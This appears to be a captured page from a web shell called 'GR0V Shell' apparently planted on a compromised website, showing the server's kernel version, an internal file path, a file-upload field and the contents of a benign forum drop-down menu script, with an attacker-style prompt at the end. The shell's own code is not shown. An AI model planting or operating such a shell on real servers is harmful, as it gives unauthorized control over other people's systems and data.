? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/happyezystyle/board/Themes/default/scripts/
File Upload :
Current File : /home/admin/public_html/old/happyezystyle/board/Themes/default/scripts/menu.js

// This file contains javascript associated with a drop down menu.

function smfMenu(menuID)
{
	// Store this...
	var menuHandle = document.getElementById(menuID);
	enableHover(menuID);

	// Store the mouse position
	var mousePos = new Array(2);

	// List of things to kill.
	var killPile = new Array();

	this.killElement = killElement;
	this.onMenuMouseMove = onMenuMouseMove;

	// This makes the menu act correctly with internet explorer.
	function enableHover()
	{
		// Cannot find it?
		if (!menuHandle)
			return false;

		// Don't need it?
		if (!is_ie6down)
			return false;

		// Get all potential child nodes.
		var menuItems = menuHandle.getElementsByTagName("LI");
		for (i = 0; i < menuItems.length; i++)
		{
			// Set a unique ID to track this element.
			menuItems[i].mid = i + 1;
			menuItems[i].onmouseover = function() {
				toggleMenuVisible(this, true);
			}
			menuItems[i].onmouseout = function() {
				toggleMenuVisible(this, false);
			}
		}

		// Find out what the mouse is doing.
		createEventListener(document.body);
		document.body.addEventListener('mousemove', onMenuMouseMove, false);

		return true;
	}

	function toggleMenuVisible(itemHandle, is_visible)
	{
		if (!itemHandle.mid)
			return;

		if (is_visible)
		{
			itemHandle.className += " over";
		}
		else
		{
			killPile[itemHandle.mid] = itemHandle;
			setTimeout(function() {killElement(itemHandle.mid);}, 20);
		}
	}

	// Hide this element
	function killElement(elementID)
	{
		// If it's in the pile then make it dead....
		if (killPile[elementID])
		{
			// ... but only if it's not too close to the mouse!
			itemPos = smf_itemPos(killPile[elementID]);

			// Otherwise delete!
			killPile[elementID].className = killPile[elementID].className.replace(" over", "");
		}
	}

	function onMenuMouseMove(evnt)
	{
		if (!evnt)
			evnt = window.event;

		// Get the mouse position.
		mousePos = smf_mousePose(evnt);
	}
}

T1KUS90T
  root-grov@210.1.60.28:~$